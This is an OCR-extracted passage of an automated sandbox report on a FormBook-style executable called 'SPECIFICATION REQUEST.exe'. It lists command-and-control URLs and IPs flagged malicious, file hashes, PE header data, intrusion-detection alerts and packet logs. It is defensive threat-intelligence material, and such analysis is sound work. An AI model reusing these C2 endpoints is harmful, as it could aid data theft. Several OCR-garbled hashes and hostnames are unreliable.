prod.trafficmanager.net,
displaycatalog.md.mp.microsoft.com.akadns.net,
e1723.g.akamaiedge.net,
ctldl.windowsupdate.com,
skypedataprdcolcus16.cloudapp.net,
a767.dscg3.akamai.net, ris.api.iris.microsoft.com,
blobcollector.events.data.trafficmanager.net,
par02p.wns.notify.trafficmanager.net

e VT rate limit hit for:
lopt/package/joesandbox/database/analysis/34481
8/sample/SPECIFICATION REQUEST.exe

Simulations

Behavior and APIs

Time Type Description

07:58:03 API Interceptor 1x Sleep call for process: SPECIFICATION REQUEST.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256 Detection Link Context

194.245.148.189 Get hash malicious Browse * www.escap
enet.cloud/rerx/?
D48t=Q9ck5ers
9BRLMIJf61
09XRLjiuyT
qr/Oe/Tl6l
+b5s2DMDIp
saq2BatzRW
hA+8ZQikji
&IbYdX4=Dx
00sPDXHVC4H

Get hash malicious Browse o www.pelik
oodi.com/ga/
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https://view.joesandbox.com/analysis/249280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249280/html/none?idtype=webid
https://view.joesandbox.com/analysis/122810/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/122810/html/none?idtype=webid

Match
34.102.136.180

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.inrea
chpt.com/ggx2/?
FH=26
A4146h&LBb
XpL=9/BKDb
JWITWSJFQi
t4UrkvSCkC
6DC2Rftex5
RF517dla63
TUfiGZTVS9
eU2a+MLpld
1Y9g==

www.kerif
letcherroc
k.com/oean/?
jvylCéko
=0Opa2yxOMW
+p6bOsIAOO
6h/1EKNB54
ngFJAZHYsy
vYxpw4UyGh
whjUO3aSMs
8Sdr4Amozm
g==&gnj80=
CJBh7x08zr
tpcTq

www.ribbo
nredwhitea
ndblue.com
/dei5/?TZk
pkdJ=gOK5i
fwFWV09n7i
1NEiFZbu/6
tutLBAV6sI
OnEyaQ70ZP
YqcNrOHgfw
cWI8srePs8
/mI&U4kp=N
tXLpLUP-vTH68s

www.edudg
o.com/bsl/?
mt=meRO04
KZ+tRueejE
QImKApPUC+x
iZQAGZPTeO
6WstMPZoEB
gumIiNoRWRp
GBFK3WkM;jt
Lu&2d=hxlp
dRkxCvtTgBzP

www.worldwide-
mt.com/kzd/

www.what3
emoji.com/bf3/?
pPX=m
4Qmgz02ndz
IkmzRdXbnU
nlUoJvahqq
5/3ILTCGwWM
TubC4gHDN7
4yJVcIDUGC
d+LoHUKsTQ
0JA==&W6=j
nKpRI-xV

www.ricar
doinman.co
m/xle/?-Zn
D=LjoXU6n8-
&iBrlPD=4
3tORsMo6Gr
y83Td78nIW
gxEplzIHXH
ZqBI7iQpQA
31ZPQcRtwV
YWDcsKQV/t
xd+LHVODSg
DXQ==
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https://view.joesandbox.com/analysis/258617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258617/html/none?idtype=webid
https://view.joesandbox.com/analysis/258611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258611/html/none?idtype=webid
https://view.joesandbox.com/analysis/258574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258574/html/none?idtype=webid
https://view.joesandbox.com/analysis/258478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258478/html/none?idtype=webid
https://view.joesandbox.com/analysis/258460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258460/html/none?idtype=webid
https://view.joesandbox.com/analysis/258421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258421/html/none?idtype=webid
https://view.joesandbox.com/analysis/258419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258419/html/none?idtype=webid

Match

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Context

o www.jikzo
.com/c8so/?
3ff87=Bcw
q9mol1SLdxG
MzaDRBSbVH
3gidTK8xbN
EF8M/ItGLQ2
aKWcuDQCQF
txR7k1oF3y
RZXKc&uzZWD
=XPmPajepJ
2gdvnZ

e www.simpl
ifiedvirtu
alsolution
s.com/oean/?
MdLxlt=m
Kgmb716yOD
GcWmnOnDfC
dOCfDEQGPB
dVeZhKsaKM
oR3Qh4v4CL
NG6oxN3p9tr
G3799qCow=
=&gnU4Pf=y
ZPLGZXHI

o www.kaiyu
ansu.profincn/?
9r_PU=-
ZQLENn&e2
Jdizf8=4y+
UTKzAJ4dBI
p/RYYS74Wa
P+qCjnKVRz
K/jF/x906¢
XBmLcUo8gx
mNUvdqUIR1
QG2msPA==

°  www.growi
ngequity.f
und/oean/?
8pNhXv=yVM
L0zBO&u4Xp
H=VZAj6Grb
o5w3dBd7w+
9BSoe0FglV
HX3dphJz9/
egos9dVzX5
gD6moxE3tl
ZZ2ImCjS7e
pxmUBA==

o www.findt
hatsmartph
one.com/incn/?
8pBP5p
=/AABbjKPi
aWw22bzCdt
7lgNbxAyyP
pv3elVIM12
b4Zuyr5wax
HOF6TIfefQ
NvJyZz9qG&
L6Ah=2dSLF
XghYtFd0

e www.catal
ogcardgame
s.net/bf3/?
UXrxP8=0T
3HWBSI&URIX
x=Sdh36sWi
aQaHmuW50u
hNg2ZSKBob
eXsg4DWTID
dmgtvl732R
tscB803t4s
smBmGg4ghZ
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https://view.joesandbox.com/analysis/258408/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258408/html/none?idtype=webid
https://view.joesandbox.com/analysis/258358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258358/html/none?idtype=webid
https://view.joesandbox.com/analysis/258350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258350/html/none?idtype=webid
https://view.joesandbox.com/analysis/258336/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258336/html/none?idtype=webid
https://view.joesandbox.com/analysis/258332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258332/html/none?idtype=webid
https://view.joesandbox.com/analysis/258181/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258181/html/none?idtype=webid

Match
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Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.cleve
rwares.com
/c8so/?Rf=
P253+QYRdh
KTDdzjg4pa
TWp7svBpTN
ddHFol+cUW
SKGzAXI94g
LhBIvicl/X
p4fu197IMA
==&LDHHp=z
4D80PDX

www.5050a
Iberta.com/xle/?
8pghs=XuVPIIEg
AAku+dXH+M
R8cy20ZHkP
0iJzIT7IKU
j3PYBKa8vo
bSmzSfHWFf
mBCUSgIWFn
2Q==&tDH=X
RR8

www.black
nation.inf
o/c8so/?pB
U=HzuD_&gb
24XB=6ATEh
1sONdZErsR
PlUioXmvz2
0sSLCkN4f+
QHjKAbluYe
nNOJNIFSbPt
8XJ2H+dMMf
4Jp2Q==
Www.prime
oneimplant
s.com/qjnt/?
tB=TtdpP
pppFvG&1bw
hC=nh3Tl/o
Ls4HXZ5hiw
yD3n36TA5+
XQ+CwXb+Kx
fiJNOta6bl
p58Sj1H/LH
toCWuUTeWd
wKg==

www.harpe
randchloe.
com/xle/?5
jFIkJh=FN
tvxHF14Rtg
zuhKSaLdol
1zxL3LkdKZ
j/Q/Opos8U
fLtbugOtkz
hu0XdDOTou
Z61/qGUQ==
&LR-T=vBKO
GdQp

www.ctfoc
bdwholesal
e.com/bw82/?
W6=Rxta6
xhtzzdBFDu
YASYKtO8XU
aMinJcredo
77YczPu8Le
plecFiawgx
H8h2T5haNR
OfU&odeTY=
cnxhAP6x

www.engag
eautism.in
fo/lbw82/?G
FND=n1L9MQ
k6NEQOasYI
fxU4KXzILG
ivOIIQbNtA
TfsC4RjAZC
tNbAJfQ2EI
xV87fcKcU5
4A&RIj=YVI
X8Hyx
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https://view.joesandbox.com/analysis/258177/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258177/html/none?idtype=webid
https://view.joesandbox.com/analysis/258163/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258163/html/none?idtype=webid
https://view.joesandbox.com/analysis/258161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258161/html/none?idtype=webid
https://view.joesandbox.com/analysis/258159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258159/html/none?idtype=webid
https://view.joesandbox.com/analysis/258150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258150/html/none?idtype=webid
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid
https://view.joesandbox.com/analysis/258110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258110/html/none?idtype=webid

Domains

No context

ASN

Match
GOOGLEUS

CSLDE

JA3 Fingerprints
No context

Dropped Files

No context

Associated Sample Name /| URL SHA 256
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash

Created / dropped Files

Detection
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious

malicious

malicious

Link
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse

Browse

Browse

Context

34.102.136.180

108.177.11
9.109

34.102.136.180
8.8.8.8
34.102.136.180
172.217.20.238
172.217.23.14
34.102.136.180
34.102.136.180
216.58.207.179
34.102.136.180
34.102.136.180
35.228.108.144
34.102.136.180
35.186.223.98
35.228.108.144
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180

194.245.14
8.189

159.25.16.112
159.25.16.112

194.245.14
8.189

194.245.14
0.212

Process: C:\Users\user\Desktop\SPECIFICATION REQUEST.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1400

Entropy (8bit):  5.344635889251176

Encrypted: false

SSDEEP: 24:MLUB4JE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4Kzr7FE4sAMEQG:MgvjHK5HKXE1gHIYHKhQnoPtHoxHhAHV
MD5: 394E646B019FF472CE37EE76A647A27F

SHA1L: BD5872D88EE9CD2299B5F0E462C53D9E7040D6DA

SHA-256: 2295A0B1F6ACD75FB5D038ADEGS5725EDF3DDF076107AEA93E4A864E35974AE2A

SHA-512: 7E95510C85262998AECCI9A06A73A5BF6352304AF6EE143ECTEA48A17473773F33A96A2F4146446444789B8BCCIB83372A227DCB89C3D326A2E142BCA1E1A9B4809
Malicious: true

Reputation: moderate, very likely benign file
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https://view.joesandbox.com/analysis/258617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258617/html/none?idtype=webid
https://view.joesandbox.com/analysis/258613/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258613/html/none?idtype=webid
https://view.joesandbox.com/analysis/258611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258611/html/none?idtype=webid
https://view.joesandbox.com/analysis/258584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258584/html/none?idtype=webid
https://view.joesandbox.com/analysis/258574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258574/html/none?idtype=webid
https://view.joesandbox.com/analysis/258499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258499/html/none?idtype=webid
https://view.joesandbox.com/analysis/258496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258496/html/none?idtype=webid
https://view.joesandbox.com/analysis/258478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258478/html/none?idtype=webid
https://view.joesandbox.com/analysis/258460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258460/html/none?idtype=webid
https://view.joesandbox.com/analysis/258428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258428/html/none?idtype=webid
https://view.joesandbox.com/analysis/258421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258421/html/none?idtype=webid
https://view.joesandbox.com/analysis/258419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258419/html/none?idtype=webid
https://view.joesandbox.com/analysis/258410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258410/html/none?idtype=webid
https://view.joesandbox.com/analysis/258408/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258408/html/none?idtype=webid
https://view.joesandbox.com/analysis/258402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258402/html/none?idtype=webid
https://view.joesandbox.com/analysis/258399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258399/html/none?idtype=webid
https://view.joesandbox.com/analysis/258358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258358/html/none?idtype=webid
https://view.joesandbox.com/analysis/258350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258350/html/none?idtype=webid
https://view.joesandbox.com/analysis/258336/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258336/html/none?idtype=webid
https://view.joesandbox.com/analysis/258332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258332/html/none?idtype=webid
https://view.joesandbox.com/analysis/249280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249280/html/none?idtype=webid
https://view.joesandbox.com/analysis/131979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/131979/html/none?idtype=webid
https://view.joesandbox.com/analysis/126359/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/126359/html/none?idtype=webid
https://view.joesandbox.com/analysis/122810/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/122810/html/none?idtype=webid
https://view.joesandbox.com/analysis/14620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/14620/html/none?idtype=webid

Preview:

1,"fusion”,"GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a",0..2,"System.Windows.Forms,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089","C:\Wind
ows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll*,0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, Publi
cKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration
.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:

File Version Minor:

Subsystem Version Major:

Subsystem Version Minor:

Import Hash:

Copyright null 2021

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

7.646161478580307

e Win32 Executable (generic) Net Framework
(10011505/4) 49.80%

e Win32 Executable (generic) a (10002005/4)

49.75%

Generic CIL Executable (.NET, Mono, etc.)

(73296/58) 0.36%

Windows Screen Saver (13104/52) 0.07%

e Generic Win/DOS Executable (2004/3) 0.01%

SPECIFICATION REQUEST.exe

939520

e7d7f8b02dd023f31b46e5bb265c7224
95e91ec34debdc0e4817d90caca87897f4febe98

fc534d33f183a321a447feflfdef4c8a7fa78413cd15f93df1
3a39f0a8h9b2fe

7c773bbcae8233a7fda03b794adclec19ce55dcth6226fc
c1c22b149h9332207564ablef10b336fa001dcc65844ad1
903c910ff65a1bd655350de3283e33e53f

12288:DalvFBy6byykganLipUrbxujgRzDNFC8YEIGKE
byX6/VwbN4+vtE+LtZ/NRMiWid:21vFBy6by7ngjgRVFill
GnbnwqYTfV

00828e8e8686b000

0x4e687e

text

false

0x400000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE

NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
O0x6010E4EC [Wed Jan 27 03:58:36 2021 UTC]

v4.0.30319

4

0

4

0

4

0
f34d5f2d4577ed6d9ceec516¢c1f5a744
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Entrypoint Preview

Instruction

jmp dword ptr [00402000h]

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name  Virtual Address

text 0x2000

.rsrc 0xe8000

Copyright null 2021

Xored PE

False

False

Virtual Address
0x0
0xe682¢c
0xe8000
0x0

0x0
Oxea000
0x0

0x0

0x0

0x0

0x0

0x0
0x2000
0x0
0x2008
0x0

ZLIB Complexity
0.768510371104

0.34716796875

Virtual Size Is in Section
0x0

0ox4f text
Ox6ec .rsrc
0x0

0x0

Ooxc .reloc
0x0

0x0

0x0

0x0

0x0

0x0

0x8 text
0x0

0x48 text
0x0

File Type Entropy Characteristics

7.65416675715 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

3.72281670039 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ
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Name

.reloc 0xea000

Resources

Name
RT_VERSION
RT_MANIFEST

Imports

DLL

mscoree.dll

Version Infos

Description
Translation
LegalCopyright
Assembly Version
InternalName
FileVersion
CompanyName
LegalTrademarks
Comments
ProductName
ProductVersion
FileDescription

OriginalFilename

Virtual Address

Virtual Size Raw Size Xored PE
Ooxc 0x200 False
RVA Size Type
0xe8090 0x45¢c data
Oxe84fc Oxlea

ZLIB Complexity
0.044921875

File Type Entropy

data 0.101910425663

Characteristics

ATA,
IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Language

XML 1.0 document, UTF-8 Unicode (with BOM) text, with

CRLF line terminators

Data

Import

_CorExeMain

0x0000 0x04b0

2021 (C) AuditFlags International

11.84.0.0

UnmanagedFunctionPointerAttribute.exe

11.84.0.0

AuditFlags International

AuditFlags

Non Versionable Attribute

Non Versionable Attribute

11.84.0.0

Non Versionable Attribute

UnmanagedFunctionPointerAttribute.exe

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID Message

01/27/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET)
07:59:50.114978

01/27/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET)
07:59:50.114978

01/27/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET)
07:59:50.114978

01/27/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden
07:59:50.255307

Network Port Distribution

Copyright null 2021

Source Dest

Port Port
49735 80
49735 80
49735 80

80 49735

Total Packets: 46

® 53 (DNS)
@ 80 (HTTP)

IMAGE_SCN_CNT_INITIALIZED_D

Country
Source IP Dest IP
192.168.2.5 34.102.136.180
192.168.2.5 34.102.136.180
192.168.2.5 34.102.136.180

34.102.136.180 192.168.2.5

Page 26 of 35



TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 27, 2021 07:59:29.024792910 CET 49733 80 192.168.2.5 64.92.125.40
Jan 27,2021 07:59:29.190774918 CET 80 49733 64.92.125.40 192.168.2.5

Jan 27, 2021 07:59:29.192920923 CET 49733 80 192.168.2.5 64.92.125.40
Jan 27, 2021 07:59:29.193078995 CET 49733 80 192.168.2.5 64.92.125.40
Jan 27, 2021 07:59:29.359106064 CET 80 49733 64.92.125.40 192.168.2.5

Jan 27, 2021 07:59:29.702910900 CET 49733 80 192.168.2.5 64.92.125.40
Jan 27, 2021 07:59:29.908411026 CET 80 49733 64.92.125.40 192.168.2.5

Jan 27, 2021 07:59:31.009610891 CET 80 49733 64.92.125.40 192.168.2.5

Jan 27, 2021 07:59:31.009732008 CET 49733 80 192.168.2.5 64.92.125.40
Jan 27, 2021 07:59:31.032672882 CET 80 49733 64.92.125.40 192.168.2.5

Jan 27, 2021 07:59:31.032784939 CET 49733 80 192.168.2.5 64.92.125.40
Jan 27, 2021 07:59:31.033082962 CET 80 49733 64.92.125.40 192.168.2.5

Jan 27, 2021 07:59:31.033155918 CET 49733 80 192.168.2.5 64.92.125.40
Jan 27, 2021 07:59:50.072025061 CET 49735 80 192.168.2.5 34.102.136.180
Jan 27, 2021 07:59:50.114202023 CET 80 49735 34.102.136.180 192.168.2.5

Jan 27, 2021 07:59:50.114342928 CET 49735 80 192.168.2.5 34.102.136.180
Jan 27, 2021 07:59:50.114978075 CET 49735 80 192.168.2.5 34.102.136.180
Jan 27, 2021 07:59:50.155109882 CET 80 49735 34.102.136.180 192.168.2.5

Jan 27, 2021 07:59:50.255306959 CET 80 49735 34.102.136.180 192.168.2.5

Jan 27, 2021 07:59:50.255347013 CET 80 49735 34.102.136.180 192.168.2.5

Jan 27, 2021 07:59:50.255507946 CET 49735 80 192.168.2.5 34.102.136.180
Jan 27, 2021 07:59:50.255717993 CET 49735 80 192.168.2.5 34.102.136.180
Jan 27, 2021 07:59:50.295730114 CET 80 49735 34.102.136.180 192.168.2.5

Jan 27, 2021 08:00:10.509851933 CET 49736 80 192.168.2.5 194.245.148.189
Jan 27, 2021 08:00:10.556806087 CET 80 49736 194.245.148.189 192.168.2.5

Jan 27, 2021 08:00:10.557826996 CET 49736 80 192.168.2.5 194.245.148.189
Jan 27, 2021 08:00:10.558022976 CET 49736 80 192.168.2.5 194.245.148.189
Jan 27, 2021 08:00:10.604692936 CET 80 49736 194.245.148.189 192.168.2.5

Jan 27, 2021 08:00:10.607960939 CET 80 49736 194.245.148.189 192.168.2.5

Jan 27, 2021 08:00:10.607995033 CET 80 49736 194.245.148.189 192.168.2.5

Jan 27, 2021 08:00:10.608016968 CET 80 49736 194.245.148.189 192.168.2.5

Jan 27, 2021 08:00:10.608032942 CET 80 49736 194.245.148.189 192.168.2.5

Jan 27, 2021 08:00:10.608149052 CET 49736 80 192.168.2.5 194.245.148.189
Jan 27, 2021 08:00:10.608197927 CET 49736 80 192.168.2.5 194.245.148.189
Jan 27, 2021 08:00:10.608289957 CET 49736 80 192.168.2.5 194.245.148.189

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 27, 2021 07:57:58.440839052 CET 63183 53 192.168.2.5 8.8.8.8
Jan 27,2021 07:57:58.490222931 CET 53 63183 8.8.8.8 192.168.2.5
Jan 27, 2021 07:57:59.328607082 CET 60151 53 192.168.2.5 8.8.8.8
Jan 27,2021 07:57:59.376739979 CET 53 60151 8.8.8.8 192.168.2.5
Jan 27,2021 07:58:00.277470112 CET 56969 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:58:00.335690022 CET 53 56969 8.8.8.8 192.168.2.5
Jan 27, 2021 07:58:01.497149944 CET 55161 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:58:01.548069000 CET 53 55161 8.8.8.8 192.168.2.5
Jan 27, 2021 07:58:21.081209898 CET 54757 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:58:21.139816999 CET 53 54757 8.8.8.8 192.168.2.5
Jan 27,2021 07:58:27.701939106 CET 49992 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:58:27.752819061 CET 53 49992 8.8.8.8 192.168.2.5
Jan 27, 2021 07:58:47.718944073 CET 60075 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:58:47.771584034 CET 53 60075 8.8.8.8 192.168.2.5
Jan 27, 2021 07:58:49.283528090 CET 55016 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:58:49.349827051 CET 53 55016 8.8.8.8 192.168.2.5
Jan 27, 2021 07:58:51.628947020 CET 64345 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:58:51.650652885 CET 57128 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:58:51.687107086 CET 53 64345 8.8.8.8 192.168.2.5
Jan 27, 2021 07:58:51.708939075 CET 53 57128 8.8.8.8 192.168.2.5
Jan 27, 2021 07:59:05.902718067 CET 54791 53 192.168.2.5 8.8.8.8
Jan 27, 2021 07:59:05.978482008 CET 53 54791 8.8.8.8 192.168.2.5
Jan 27, 2021 07:59:28.342371941 CET 50463 53 192.168.2.5 8.8.8.8
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Timestamp

Jan 27, 2021 07:59:28.393296957 CET
Jan 27, 2021 07:59:28.835100889 CET
Jan 27, 2021 07:59:29.020076990 CET
Jan 27, 2021 07:59:30.042473078 CET
Jan 27, 2021 07:59:30.093532085 CET
Jan 27, 2021 07:59:50.007734060 CET
Jan 27, 2021 07:59:50.070718050 CET
Jan 27, 2021 08:00:10.439079046 CET
Jan 27, 2021 08:00:10.508335114 CET
Jan 27, 2021 08:00:30.783189058 CET
Jan 27, 2021 08:00:30.906291008 CET
Jan 27, 2021 08:00:39.376478910 CET
Jan 27, 2021 08:00:39.435245037 CET
Jan 27, 2021 08:00:40.170747995 CET
Jan 27, 2021 08:00:40.222067118 CET
Jan 27, 2021 08:00:40.903573990 CET
Jan 27, 2021 08:00:40.960308075 CET
Jan 27, 2021 08:00:41.603605032 CET
Jan 27, 2021 08:00:41.661587000 CET
Jan 27, 2021 08:00:42.446280956 CET
Jan 27, 2021 08:00:42.503348112 CET
Jan 27, 2021 08:00:43.197535038 CET
Jan 27, 2021 08:00:43.254858017 CET
Jan 27, 2021 08:00:44.065562963 CET
Jan 27, 2021 08:00:44.124996901 CET
Jan 27, 2021 08:00:45.182440042 CET
Jan 27, 2021 08:00:45.239021063 CET
Jan 27, 2021 08:00:46.471395016 CET
Jan 27, 2021 08:00:46.531291008 CET
Jan 27, 2021 08:00:48.017504930 CET
Jan 27, 2021 08:00:48.065536976 CET
Jan 27, 2021 08:00:53.543128967 CET
Jan 27, 2021 08:00:53.785362959 CET

DNS Queries

Timestamp

